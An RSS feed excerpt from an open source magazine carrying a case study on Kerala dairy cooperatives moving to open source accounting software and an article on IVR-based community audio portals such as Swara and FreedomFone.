<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>LINUX For You</title> <atom:link href="http://www.linuxforu.com/feed/" rel="self" type="application/rss+xml" /><link>http://www.linuxforu.com</link> <description>The Complete Magazine on Open Source</description> <lastBuildDate>Tue, 31 Jan 2012 17:22:40 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" /> <item><title>Proprietary Solutions Can&#8217;t Milk Money from these Cooperatives!</title><link>http://www.linuxforu.com/2012/01/proprietary-solutions-cant-milk-money-from-these-cooperatives/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=proprietary-solutions-cant-milk-money-from-these-cooperatives</link> <comments>http://www.linuxforu.com/2012/01/proprietary-solutions-cant-milk-money-from-these-cooperatives/#comments</comments> <pubDate>Tue, 31 Jan 2012 16:59:32 +0000</pubDate> <dc:creator>Jalaja Ramanunni</dc:creator> <category><![CDATA[Case Studies]]></category> <category><![CDATA[CXOs]]></category> <category><![CDATA[Overview]]></category> <category><![CDATA[computerised information system]]></category> <category><![CDATA[cooperative societies]]></category> <category><![CDATA[daily accounting]]></category> <category><![CDATA[Dairy]]></category> <category><![CDATA[dairy farmers]]></category> <category><![CDATA[dairy portal]]></category> <category><![CDATA[data entry]]></category> <category><![CDATA[farmers]]></category> <category><![CDATA[financial accounting]]></category> <category><![CDATA[Free Software]]></category> <category><![CDATA[Intel]]></category> <category><![CDATA[Java]]></category> <category><![CDATA[JavaScript]]></category> <category><![CDATA[Jose Emmanuel]]></category> <category><![CDATA[JSON]]></category> <category><![CDATA[Kerala]]></category> <category><![CDATA[Kerala Dairy Cooperative Societies]]></category> <category><![CDATA[Khalid C]]></category> <category><![CDATA[LFY January 2012]]></category> <category><![CDATA[licence fees]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Microsoft]]></category> <category><![CDATA[Milk]]></category> <category><![CDATA[National Informatics Centre]]></category> <category><![CDATA[open source tools]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[proprietary software]]></category> <category><![CDATA[SMS]]></category> <category><![CDATA[ubuntu]]></category> <category><![CDATA[Visual Basic]]></category> <category><![CDATA[web applications]]></category> <category><![CDATA[Windows 98]]></category><guid isPermaLink="false">http://www.linuxforu.com/?p=9475</guid> <description><![CDATA[The dairy cooperative societies in Kerala are gradually switching to open source in an attempt to cut costs and stay secure. While people are still contemplating whether to use open source in their...]]></description> <content:encoded><![CDATA[<p><img class="aligncenter size-large wp-image-9479" title="FOSS for cooperatives" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/dairy-590x405.jpg?d9c344" alt="FOSS for cooperatives" width="590" height="405" /><div class="introduction">The dairy cooperative societies in Kerala are gradually switching to open source in an attempt to cut costs and stay secure.</div><p>While people are still contemplating whether to use open source in their mission-critical operations, the Kerala Dairy Cooperative Societies (DCS) has set an example by using open source in its day-to-day activities, to cut costs.</p><p>In cooperative societies, a group of dairy farmers come together and are assisted by the government to set up a society. Each district has an average of 100 societies, which could each comprise 200 to 2,000 dairy farmers. The farmers bring their produce to the societies, where it is measured in terms of quantity and quality, and this data is recorded on a daily basis.</p><p>Earlier, their process involved manually entering data into registers, ledgers, schedules and forms. This caused a lot of difficulty in verifying and tracking the status of each activity, and settling accounts with dairy farmers and customers.</p><p>The initial exercise, prior to adopting open source, included discussions with the dairy societies to identify their complete requirements and problems. Their main need was automation of office procedures like data entry and the generation of reports.</p><p>A computerised information system was developed with the help of National Informatics Centre (NIC) in 2001. Called Lypsaa, it was developed on a Microsoft platform and used Visual Basic for development, Crystal Reports to generate reports, and the Windows 98 operating system.</p><p>&#8220;Though this introduced transparency into the system, proprietary solutions meant a high cost in the form of licence fees for at least 70 systems and servers,&#8221; shares Khalid C, solutions architect of Lypsaa and a freelance consultant. Moreover, Microsoft stopped supporting some of the software after they launched newer versions of the Windows OS, and there were issues with compatibility.</p><p>A software development committee created jointly by DCS and NIC was against the hidden costs of proprietary software. They evaluated Lypsaa and submitted a proposal to migrate it to an open source solution named OpenLypsaa. The committee started its efforts to develop free software using hired resources in 2007.</p><h2>Open source for cost-cutting</h2><p>The most prominent benefit to the societies is related to cost. &#8220;As a result of using free and open source software at every possible step, the Kerala DCSs collectively saved about Rs 25 lakh,&#8221; states Simon E K, District Informatics Officer, NIC.</p><p>&#8220;If we went ahead with Windows-based PCs and proprietary databases, it would have cost about Rs 5,000 per society. We are assured that our total investment of Rs 5-6 lakhs was a good one. We also have a hold on the total cost of ownership including development, installing and using software for the duration of its life,&#8221; he adds.</p><p>The DCSs did not have to make additional investments for new computer systems as they could use their regular systems with Intel architecture, 512 MB or higher RAM, and 80 GB hard disk drives.</p><p>Ease of maintenance is another advantage that Jose Emmanuel, deputy director, Dairy Development, Government of Kerala, noted. He states, &#8220;With Microsoft, we would often get calls from the societies due to viruses on their machines &#8212; at least one call per month. Our experience with open source proves that it is much more secure, as we receive no complaints about viruses, reformatting and system crashes.&#8221;</p><h2>Going the open source way</h2><p>To begin with, Ubuntu was introduced on all the DCS systems. OpenLypsaa was developed and implemented at 30 societies by 2008. It is a complete software solution developed using the LAMP platform. OpenLypsaa is used in functions like generating milk-bills for farmers and taking care of their daily accounting. It is used to register members, keep milk procurement details, manage financial accounting, prepare milk bills, register any service connections, and maintain the accounts and details of various customers.</p><p>&#8220;Milk bills include details like the quantity of produce brought, its quality, the price at which it was sold, etc. When data was entered manually, it was impossible to avoid numerical errors. Mistakes are almost negligible now. Moreover, there was room for malpractice when it came to creating a voters&#8217; list for elections within the societies. This system ensures fair play by filtering out farmers who have not contributed a minimum amount of milk to the society,&#8221; Khalid confidently states.</p><p>The system maintains registers for sales, producers&#8217; personal details, cattle feed sales, advance payments and financial accounts, and also helps in generating crucial reports on voters, pensioners and scheme beneficiaries.</p><p>&#8220;For instance, the state government sometimes gives benefits to farmers who have contributed regularly for two months, or have given extra produce. It was earlier a cumbersome task to look through our registers and fish through all the entries. With OpenLypsaa, the beneficiaries are a click away. We can also generate a periodical report on farmers based on these entries,&#8221; adds Khalid.</p><p>OpenLypsaa used TCPDF &#8212; a PHP class to generate PDF documents, &#8220;Business Intelligence and Reporting Tool&#8221; (BIRT) for report generation, and HighCharts for charting MIS reports. HighCharts is a charting library written in pure JavaScript, which offers an easy way to add interactive charts to a website or Web application.</p><p>Khalid says, &#8220;All data and configuration comes in JSON format. It fits well with PHP, without having to write tons of code or use some third-party library. The <em>json_encode</em> function is very handy when passing options from PHP to HighCharts.&#8221;</p><p>The committee, along with NIC, also developed a solution called &#8220;System for Automating Milk Procurement&#8221; (SAMP). It was developed using Java and SQLite. With the previous system, farmers would contribute their produce in the morning and a sample would be sent to the lab to test for quality details like fat content, protein and water content. Based on this test, the price for each farmer&#8217;s produce was decided, and the farmer would be informed about the price only in the evening.</p><p>&#8220;With the introduction of SAMP, the quality and content of the milk can be measured when the farmer brings his produce, and the price is set right away,&#8221; Khalid reveals.</p><p>About a year ago, an SMS response system was also created by the team for auto-answering farmers&#8217; SMS queries using a Kannel SMS Gateway. Farmers can type in key words like &#8220;Milk rate&#8221;, &#8220;Monthly payment&#8221;, etc., to the number provided, and the database generates the reply in the form of an SMS. The committee is also developing a dairy portal, through which farmers can access information about periodical reports and statements, statistical reports, government orders and circulars in Malayalam. This is due to be launched early next year.</p><h2>Not a smooth journey</h2><p>Despite the advantages, migrating to open source was not an easy task. One of the main challenges was training the employees at each society. &#8220;The staff had to be trained on many aspects like file operations, office applications, taking back-ups and restoring databases on Ubuntu Linux. For this, our support team visited each society and trained the staff themselves,&#8221; explains Khalid. Finding manpower for this support has also been a constant challenge.</p><p>Khalid adds, &#8220;With NIC&#8217;s support, the DCS formed a formal committee, but it has not been set up well yet. Their salary comes from the cooperative societies&#8217; contributions, and we still find it difficult to get employees with expertise in PHP and Linux to stay here for a long tenure.&#8221;</p><p>Some of the other challenges faced in the initial stages were architecture compatibility of open source tools, finding open source solutions for various requirements, and the selection of the right open source tools. For this, the software development team and NIC interacted regularly with the online open source communities to overcome the issues.</p><h2>Just around the corner</h2><p>The DCSs are still looking for people who can add to their support team. The committee members still feel that the challenges they have faced are minuscule compared to the benefits they have received. At present, 50 societies are still running on Lypsaa, and they gradually plan to migrate to OpenLypsaa over the next two years, until the DCSs completely run on open source.<div id="crp_related"><h5>Related Posts:</h5><ul><li><a href="http://www.linuxforu.com/2011/09/kerala-state-electricity-board-saves-rs-8-crore-using-foss/" rel="bookmark" class="crp_title">Kerala State Electricity Board Saves a Whopping Rs 8 Crore, Using FOSS</a></li><li><a href="http://www.linuxforu.com/2011/12/adoption-of-linux-foss-challenges-opportunities/" rel="bookmark" class="crp_title">Adoption of Linux/FOSS: Challenges &#038; Opportunities</a></li><li><a href="http://www.linuxforu.com/2012/01/foss-call-centres-solutions-10-times-cheaper-proprietary/" rel="bookmark" class="crp_title">FOSS Solutions for Call Centres that&#8217;s 10 Times Cheaper</a></li><li><a href="http://www.linuxforu.com/2010/03/kpit-cummins-we-are-home-to-150-developers-trained-in-open-source/" rel="bookmark" class="crp_title">KPIT Cummins: We are home to 150 developers trained in open source</a></li><li><a href="http://www.linuxforu.com/2011/04/an-it-consulting-company-develops-a-scalable-enterprise-solution-using-foss/" rel="bookmark" class="crp_title">An IT Consulting Company Develops a Scalable Enterprise Solution Using FOSS</a></li></ul></div>Tags: <a href="http://www.linuxforu.com/tag/computerised-information-system/" title="computerised information system" rel="tag">computerised information system</a>, <a href="http://www.linuxforu.com/tag/cooperative-societies/" title="cooperative societies" rel="tag">cooperative societies</a>, <a href="http://www.linuxforu.com/tag/daily-accounting/" title="daily accounting" rel="tag">daily accounting</a>, <a href="http://www.linuxforu.com/tag/dairy/" title="Dairy" rel="tag">Dairy</a>, <a href="http://www.linuxforu.com/tag/dairy-farmers/" title="dairy farmers" rel="tag">dairy farmers</a>, <a href="http://www.linuxforu.com/tag/dairy-portal/" title="dairy portal" rel="tag">dairy portal</a>, <a href="http://www.linuxforu.com/tag/data-entry/" title="data entry" rel="tag">data entry</a>, <a href="http://www.linuxforu.com/tag/farmers/" title="farmers" rel="tag">farmers</a>, <a href="http://www.linuxforu.com/tag/financial-accounting/" title="financial accounting" rel="tag">financial accounting</a>, <a href="http://www.linuxforu.com/tag/free-software/" title="Free Software" rel="tag">Free Software</a>, <a href="http://www.linuxforu.com/tag/intel/" title="Intel" rel="tag">Intel</a>, <a href="http://www.linuxforu.com/tag/java/" title="Java" rel="tag">Java</a>, <a href="http://www.linuxforu.com/tag/javascript/" title="JavaScript" rel="tag">JavaScript</a>, <a href="http://www.linuxforu.com/tag/jose-emmanuel/" title="Jose Emmanuel" rel="tag">Jose Emmanuel</a>, <a href="http://www.linuxforu.com/tag/json/" title="JSON" rel="tag">JSON</a>, <a href="http://www.linuxforu.com/tag/kerala/" title="Kerala" rel="tag">Kerala</a>, <a href="http://www.linuxforu.com/tag/kerala-dairy-cooperative-societies/" title="Kerala Dairy Cooperative Societies" rel="tag">Kerala Dairy Cooperative Societies</a>, <a href="http://www.linuxforu.com/tag/khalid-c/" title="Khalid C" rel="tag">Khalid C</a>, <a href="http://www.linuxforu.com/tag/lfy-january-2012/" title="LFY January 2012" rel="tag">LFY January 2012</a>, <a href="http://www.linuxforu.com/tag/licence-fees/" title="licence fees" rel="tag">licence fees</a>, <a href="http://www.linuxforu.com/tag/linux/" title="Linux" rel="tag">Linux</a>, <a href="http://www.linuxforu.com/tag/microsoft/" title="Microsoft" rel="tag">Microsoft</a>, <a href="http://www.linuxforu.com/tag/milk/" title="Milk" rel="tag">Milk</a>, <a href="http://www.linuxforu.com/tag/national-informatics-centre/" title="National Informatics Centre" rel="tag">National Informatics Centre</a>, <a href="http://www.linuxforu.com/tag/open-source-tools/" title="open source tools" rel="tag">open source tools</a>, <a href="http://www.linuxforu.com/tag/php/" title="PHP" rel="tag">PHP</a>, <a href="http://www.linuxforu.com/tag/proprietary-software/" title="proprietary software" rel="tag">proprietary software</a>, <a href="http://www.linuxforu.com/tag/sms/" title="SMS" rel="tag">SMS</a>, <a href="http://www.linuxforu.com/tag/ubuntu/" title="ubuntu" rel="tag">ubuntu</a>, <a href="http://www.linuxforu.com/tag/visual-basic/" title="Visual Basic" rel="tag">Visual Basic</a>, <a href="http://www.linuxforu.com/tag/web-applications/" title="web applications" rel="tag">web applications</a>, <a href="http://www.linuxforu.com/tag/windows-98/" title="Windows 98" rel="tag">Windows 98</a><br /> ]]></content:encoded> <wfw:commentRss>http://www.linuxforu.com/2012/01/proprietary-solutions-cant-milk-money-from-these-cooperatives/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Voices Across the Digital Divide &#8212; Using Audio Portals to Connect Communities</title><link>http://www.linuxforu.com/2012/01/digital-divide-audio-portals-connect-communities/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=digital-divide-audio-portals-connect-communities</link> <comments>http://www.linuxforu.com/2012/01/digital-divide-audio-portals-connect-communities/#comments</comments> <pubDate>Tue, 31 Jan 2012 12:08:24 +0000</pubDate> <dc:creator>Arjun Venkatraman</dc:creator> <category><![CDATA[Blogs]]></category> <category><![CDATA[For You & Me]]></category> <category><![CDATA[Overview]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[audio portal]]></category> <category><![CDATA[broadband]]></category> <category><![CDATA[Cathedral And The Bazaar]]></category> <category><![CDATA[cell phones]]></category> <category><![CDATA[CGNet]]></category> <category><![CDATA[citizen media]]></category> <category><![CDATA[communication technology]]></category> <category><![CDATA[content management system]]></category> <category><![CDATA[Democracy]]></category> <category><![CDATA[Developing country]]></category> <category><![CDATA[Digital Divide]]></category> <category><![CDATA[free speech]]></category> <category><![CDATA[FreedomFone]]></category> <category><![CDATA[GitHub]]></category> <category><![CDATA[GSM]]></category> <category><![CDATA[healthcare]]></category> <category><![CDATA[India]]></category> <category><![CDATA[Interactive Voice Response]]></category> <category><![CDATA[Internet penetration]]></category> <category><![CDATA[Internet users]]></category> <category><![CDATA[IVR]]></category> <category><![CDATA[journalists]]></category> <category><![CDATA[LFY January 2012]]></category> <category><![CDATA[mainstream media]]></category> <category><![CDATA[mass media]]></category> <category><![CDATA[MIT]]></category> <category><![CDATA[mobile phones]]></category> <category><![CDATA[open medium]]></category> <category><![CDATA[PBX system]]></category> <category><![CDATA[SMS]]></category> <category><![CDATA[Speech-recognition technology]]></category> <category><![CDATA[Swara]]></category> <category><![CDATA[text-to-speech system]]></category> <category><![CDATA[voice recognition]]></category> <category><![CDATA[Web frameworks]]></category> <category><![CDATA[Web interface]]></category> <category><![CDATA[Web platforms]]></category><guid isPermaLink="false">http://www.linuxforu.com/?p=9464</guid> <description><![CDATA[Human beings are the only species on earth with the ability to communicate complex ideas through language. Speaking and listening have been the basis of human society since people started living in communities....]]></description> <content:encoded><![CDATA[<p><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Opening-Image.jpg?d9c344" alt="A communication channel" title="A communication channel" width="350" height="240" class="alignright size-full wp-image-9469" /><div class="introduction">Human beings are the only species on earth with the ability to communicate complex ideas through language. Speaking and listening have been the basis of human society since people started living in communities. In fact, the words &#8220;community&#8221; and &#8220;communication&#8221; share a common etymology.</div><p>Democracy, as a system, is completely dependent on communication, to the extent that when communication breaks down, so does the democratic process. In order for a group of people to participate equally in democracy, they must necessarily share a communication platform, where they can share not just facts, but also views and opinions. Small wonder then, that free speech is prized and cherished by all democracies, and coveted by citizens of almost all countries that are yet to become  democracies.</p><p>One of the fundamental requirements of free speech and participation in democracy is the availability of a free, open medium and platform of communication that is equally accessible by all members of the democratic community. Almost every culture in the world has a concept of a central community gathering place, where people gather after a day&#8217;s work, to talk and share information.</p><p>In India, this is typically the village <em>chaupal</em>, in West Kalimantan (erstwhile Borneo), Indonesia, it&#8217;s called a <em>ruai</em>. In Afghanistan, it may be called a <em>chaikhana</em>. These community structures have traditionally provided the common platform and free medium for communication.</p><p>This type of platform is structured like a circle, and the free medium is air. In a circular structure, everyone has an equal say, because everyone has equal access to the medium and equal reach to every other member of the platform. No special equipment is required to use this medium; ears and a mouth will typically suffice. These structures provided a way for people to voice their opinion, share their concerns and find solutions to conflict through dialogue.</p><p>After the industrial revolution and the dawn of the corporation, mass media began to play this role in people&#8217;s lives. Newspapers, radio and television became the new media that people used. These media had a much wider reach and they seemed like the perfect democratic tool. However, these media have a structural problem that prevents them from being truly democratic. By virtue of corporate and editorial hierarchy, these media are structured like a triangle (Figure 1).</p><div id="attachment_9468" class="wp-caption aligncenter" style="width: 590px"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig-1-590x411.jpg?d9c344" alt="Media communication" title="Media communication" width="590" height="411" class="size-large wp-image-9468" /><p class="wp-caption-text">Figure 1: Media communication</p></div><p>News, in this model, travels downwards from an elite minority that determines what content is &#8220;newsworthy&#8221; to the community. The community typically cannot relate the incoming news to their own lives, and either becomes disenfranchised by virtue of lack of representation, or assumes the media version of facts to be true, and that they themselves are an anomaly. At the very least, this influences their participation in democracy, and at worst, they are rendered voiceless in that most fundamental democratic process &#8212; debate.</p><p>This hierarchical model of modern commercial media requires profits for the media organisation to continue to run. This means that news needs to sell. If a newspaper cannot generate advertising revenue, it will soon shut down. Obviously, with profit as the first imperative, relevance of the content to the community and their feedback must become secondary. Moreover, there is an incentive in preventing communication technology from reaching its true potential. For example, if community radio became fully deregulated, would commercial radio or, for that matter, television, stand a chance?</p><p>This skewed set of incentives, and the resulting policies and actions, has led to several communities across the world, particularly in the developing world, becoming alienated and disenfranchised with mainstream society. These communities are particularly susceptible to coercion and this might partly explain the escalating violence in the world today.</p><p>This conundrum should be quite familiar to open source enthusiasts, since the basic principles involved are much the same as the ones in the open source vs closed source software debate. To draw a parallel from <em>The Cathedral And The Bazaar</em>, mainstream media follows the cathedral model, while community platforms are more like bazaars. Both paradigms have their value and importance in the structure of society at large. However, in the context of media, the cathedral or top-down model appears to have reached its limits of effectiveness &#8212; and, in my opinion, has passed the point of diminishing returns.</p><p>The growth of user-generated content on the Internet over the last decade is a clear indicator that as connectivity improves, people are increasingly eager to directly voice their opinions and concerns without the need of mainstream media as an intermediary, particularly since in the real world, no intermediary is perfectly impartial.</p><h2>The developing world</h2><p>In the developing world, this uprising of citizen media has been stunted by the uneven distribution of resources, such as infrastructure, connectivity and literacy. While connectivity in the developed world has allowed the blogosphere to become a political force to contend with, most developing countries have an Internet penetration of less than 10 per cent, typically concentrated in urban areas.</p><p>Even where connectivity exists, the vast majority of users are only just starting to view the Internet as anything more than email and instant messaging. In many of these countries, even as economies have opened up and globalisation has settled in, entire communities are still disconnected from the rest of the world, primarily because they do not represent a market segment worthy of media representation.</p><p>Mainstream media in these countries typically focus on urban issues that relate to economic and political decision makers, rather than the vox populi.</p><p>In several of these countries, however, innovation is now taking place to bridge this gap by other means. While Internet penetration remains low, the use of mobile phones is a different story altogether. Most of the developing world has far outpaced the developed world in terms of mobile phone adoption and versatility of usage. Even in places where people earn less than a dollar a day, cell phones are ubiquitous. A medium that uses voice, the oldest mode of communication known to man, amplified by several orders of magnitude, so as to cover unimaginable distances, is as irresistible to a Gond tribal in Chhattisgarh, India, as it is to a street food vendor in Jakarta, Indonesia.</p><p>Recognising the potential of this medium, several groups are now actively engaged in developing technology to allow people to use their voice to connect themselves and their communities to the rest of the world. One of the first tools of this new age of innovation is the audio portal.</p><h2>An audio portal?</h2><p>An audio portal (Figure 2) is essentially a website with a lot of audio content that can be accessed both through the Web as well as by phone.</p><div id="attachment_9467" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig-2.jpg?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig-2-590x535.jpg?d9c344" alt="An audio portal" title="An audio portal" width="590" height="535" class="size-large wp-image-9467" /></a><p class="wp-caption-text">Figure 2: An audio portal</p></div><p>While the Web interface is usually like a blog, the phone interface is an IVR (Interactive Voice Response) system, where users press keys to navigate through menus and content. In more advanced IVR systems, voice recognition may be used, though this is still limited to the well-documented accents of the English language. The Web interface is very similar to a blog, and several audio portals do use the blog layout.</p><p>Behind the scenes, the platform will also provide an interface to manage posts. Early implementations of audio portals tended to rely on specialised moderation consoles, which have media-previewing capabilities as well as functionality for moderators to add metadata, such as a summary and title, to the content to make it friendlier to users on the Web.</p><p>Users will typically call the IVR interface to record and listen to content using their cell phones, while Web users will access the website interface to listen to the audio posts using a browser, and leave comments in text, which then may or may not be converted to audio using a text-to-speech system.</p><p>People who own the latest Android or iPhone may find the idea of an IVR interface to browse content somewhat counter-intuitive, since it makes no sense to call in and scroll through a set of menus, particularly with an irritatingly monotonic voice rattling out instructions all the time, when you can simply open the Web page on your cell phone&#8217;s browser, and read.</p><p>The graph in Figure 3 may help clarify why a purely visual interface is not adequate to reach the majority of the world.</p><div id="attachment_9470" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Figure-3.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Figure-3-590x402.png?d9c344" alt="Cell phone and broadband users" title="Cell phone and broadband users" width="590" height="402" class="size-large wp-image-9470" /></a><p class="wp-caption-text">Figure 3: Cell phone and broadband users</p></div><p>The percentage of Internet users, even among the mobile phone users of the world, is a fraction of the percentage of people using their phones purely for voice and SMS. While mobile Internet use is, and will continue to be, on the rise, the bulk of the world will continue to be on voice for some time to come.</p><p>This is also historically consistent, since most societies have far stronger oral traditions than written ones. Voice captures much more than simply language. Tone, quality, emotion are all interwoven in the spoken word. If a picture is worth a thousand written words, then a spoken word counts for at least a few hundred&#8230; not to mention that drawing an attractive picture takes considerably more skill than speaking!</p><p>What makes mobile phones particularly attractive as a medium, though, is the two-way nature of the medium. With radio and television, though the reach may be much wider than mobile phones, the ability to respond immediately to what you hear or see &#8212; on the same platform, at the same level as the source, which is extremely valuable in fostering dialogue &#8212; is missing.</p><p>The audio portal concept caters to every cell phone, whether mass-market or smartphone equally, which works very well to level the platform. Most importantly, audio portals use technology, skills and other resources that are available now, as opposed to those that require extensive &#8220;capacity building&#8221; exercises. This is probably the reason why audio portals, as a tool, find more favour with grassroots workers and members of the community, rather than with technology evangelists and academia.</p><h2>The technology</h2><p>Audio portals utilise relatively simple technology, most of which has been around in the open source world for some time. An audio portal will typically consist of a phone interface (either fixed-line or mobile), connected to a content-management system (usually a database) and a Web front-end, via an IVR running on a soft switch or software PBX system. Two examples of audio portal platforms are Swara and FreedomFone.</p><h2>Swara</h2><p>Swara is an open source project, originally written as a research project by students and professors at MIT to augment the outreach and activities of CGNet, a people&#8217;s discussion group working with indigenous communities in central India. CGNet was started by veteran journalist Shubhranshu Choudhary, who returned to Central India, where he grew up, to find it torn by violence. Probing to find the reason for the conflict, he quickly realised that open, accessible community media would be a key component of any solution to the conflict. Given that Internet penetration in the region is less than 1 per cent, and community radio is limited by regulation, the next best medium for a community platform was the mobile phone.</p><p>The first pilot of Swara was deployed in Bengaluru for use by indigenous communities in Chhattisgarh and neighbouring states in February 2010. Today, the pilot receives over 300 calls a day, and the team is working on building the platform out as an open source project for deployment in other locations. The first replica of the project went live in Indonesia in December 2011.</p><p>Swara uses a combination of the Asterisk PBX system in combination with the LoudBlog audio blogging platform, with the integration written in Python. The tested interfaces are GSM gateways (Topex Mobilink, etc) and fixed lines (PRI/BRI) using a Digium telephony card.</p><h2>FreedomFone</h2><p>FreedomFone was developed by Alberto Escudero Pascual and Louise Berthilson of IT46, a Swedish IT consultancy, for the Kubatana Trust in Zimbabwe. It was created for many of the same reasons as Swara was developed in India, i.e., lack of impartial and open commercial media, and the need for local and community-level reporting. The FreedomFone pilot, a weekly audio magazine called Inzwa, has been running in Zimbabwe since July 2009, and received over 2,500 calls between July and September 2009. FreedomFone&#8217;s team is also working on developing the platform as a user-friendly DIY IVR kit, and is keen on replicating the model in other areas.</p><p>FreedomFone uses the FreeSWITCH soft switch to interface with telephony devices such as the Mobigater and Office Router GSM gateways. The content management system is written in CakePHP, and FreedomFone additionally uses the Cepstral speech synthesis system for text-to-speech conversions. The stated objective is to create a purely phone-accessible platform.</p><h2>Deployment 101</h2><p>Both platforms have an almost identical design, as would most audio portal software. This is almost analogous to how traditional websites are built, with the choice of platform being similar to the choice between different Web frameworks. Just as you will find lots of different opinions and preferences for Web platforms among Web designers, you will find that the few implementers of audio portals are just as varied in their preferences for platforms. This usually depends on which platform the implementer is most familiar with &#8212; and if you are implementing your own, one is essentially as good as the other.</p><p>The key question, irrespective of which platform you use, is one of deployment strategy. At present, most implementations of audio portals as community media platforms are centralised instances deployed by a single organisation or group, with a specific agenda (such as news, healthcare or governance).</p><h2>Centralised function-oriented deployment</h2><p>Centralised, function-oriented deployments require content of a certain quality and, as a result, must usually be moderated. Speech-recognition technology, particularly in the area of automatic transcription, is still a far cry from being very accurate. As a result, moderating a function-specific audio portal is still a manual job, for the most part.</p><p>Typically, audio portal moderators will need to listen to each message and summarise and/or transcribe it. Beyond transcription, there may be more work to do to improve the quality of the content for the specific purpose of the deployment, like sound quality clean-ups and edits, fact verification (if journalism is the function, for example) and categorisation. All of this work is further exacerbated in a centralised deployment, since all incoming calls come to the same central hub (see Figure 4).</p><div id="attachment_9466" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig-4.jpg?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig-4-590x624.jpg?d9c344" alt="Centralised deployments" title="Centralised deployments" width="590" height="624" class="size-large wp-image-9466" /></a><p class="wp-caption-text">Figure 4: Centralised deployments</p></div><p>In India, and other countries where long-distance call charges are higher than local call charges, centralised platforms also suffer from an added cost element, since all callers must call the central number, regardless of their own locations.</p><h2>Hyperlocal deployments</h2><p>An alternative model is a hyperlocal community-oriented one. In this model, an instance of the platform is deployed at the community level and maintained by community members. Such community-level audio portals could be used as voice-based bulletin boards. By managing the size of the user base, and ensuring a manageable user adoption rate by limiting publicity to word of mouth, communities could eliminate the need for moderation by making sure everyone on the platform was known by the others and therefore accountable to the community.</p><p>Several communities can then choose to link their platforms, either by sharing content, or by simply listening to each other. This will eventually lead to an organically expanding network, where people can choose which deployments they want to subscribe to, much in the same way as Internet users subscribe to different forums and websites. This would also ease the burden on centralised deployments already in existence, since they could then simply trawl the community bulletin boards for usable content, rather than filter out unusable content on their own incoming stream. As you can see from Figure 5, the hyperlocal model offers more avenues for collaboration and the cross-fertilisation of ideas between communities than the centralised model.</p><div id="attachment_9465" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig-5.jpg?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/Fig-5-590x632.jpg?d9c344" alt="The advantage of hyperlocal deployments" title="The advantage of hyperlocal deployments" width="590" height="632" class="size-large wp-image-9465" /></a><p class="wp-caption-text">Figure 5: The advantage of hyperlocal deployments</p></div><p>A word of caution: This approach is still experimental, and needs several more deployments before it can be considered a best practice. However, for communities interested in improving their information access and level of participation in mainstream society, this is a very worthwhile experiment to take on. Both systems described here can be installed on a mid-range notebook computer.</p><p>The software is all open source and free for non-commercial use. Mobile interfaces like GSM gateways and mobile ATAs are relatively cheap &#8212; a Matrix SETU ATA 211G would cost roughly US$ 120, and the Mobigater is priced at about US$ 50. The total cost of setting up a local IVR installation and running it through a year, including the cost of connectivity, is typically less than US$ 200 a year.</p><p>Of course, the most important thing to remember while setting up an alternative communication platform is that while technology will certainly provide the tools, the key to success is to build a strong community around your platform, and quickly demonstrate value to the community from participating. This is where most of the hard work lies.</p><p>It would be interesting to see how well the open source community in India takes to these projects and how quickly the hyperlocal model can be tested with several more installations.</p><h5>References</h5><ul><li><a href="https://github.com/mojolab/swara">Swara Project on GitHub</a></li><li><a href="http://swara.mojolab.org/">Swara Community</a></li><li><a href="http://cgnetswara.org/">CGNet Swasra</a></li><li><a href="http://freedomfone.org/">FreedomFone Project</a></li></ul><div id="crp_related"><h5>Related Posts:</h5><ul><li><a href="http://www.linuxforu.com/2011/11/droidcon-india-2011-a-report/" rel="bookmark" class="crp_title">Droidcon India 2011: A Report</a></li><li><a href="http://www.linuxforu.com/2010/12/%e2%80%9cmicrosoft-is-working-towards-establishing-a-long-term-community-connection%e2%80%9d/" rel="bookmark" class="crp_title">“Microsoft is working towards establishing a long-term community connection”</a></li><li><a href="http://www.linuxforu.com/2012/01/glimpses-of-dark-internet-protest-sopa-pipa/" rel="bookmark" class="crp_title">Some Glimpses of the &#8216;Dark&#8217; Internet in Protest of SOPA/PIPA</a></li><li><a href="http://www.linuxforu.com/2010/05/another-educational-institute-opens-its-gates-to-open-source/" rel="bookmark" class="crp_title">Another Educational Institute Opens Its Gates to Open Source</a></li><li><a href="http://www.linuxforu.com/2009/03/managing-music-efficiently/" rel="bookmark" class="crp_title">Managing Music Efficiently</a></li></ul></div>Tags: <a href="http://www.linuxforu.com/tag/audio-portal/" title="audio portal" rel="tag">audio portal</a>, <a href="http://www.linuxforu.com/tag/broadband/" title="broadband" rel="tag">broadband</a>, <a href="http://www.linuxforu.com/tag/cathedral-and-the-bazaar/" title="Cathedral And The Bazaar" rel="tag">Cathedral And The Bazaar</a>, <a href="http://www.linuxforu.com/tag/cell-phones/" title="cell 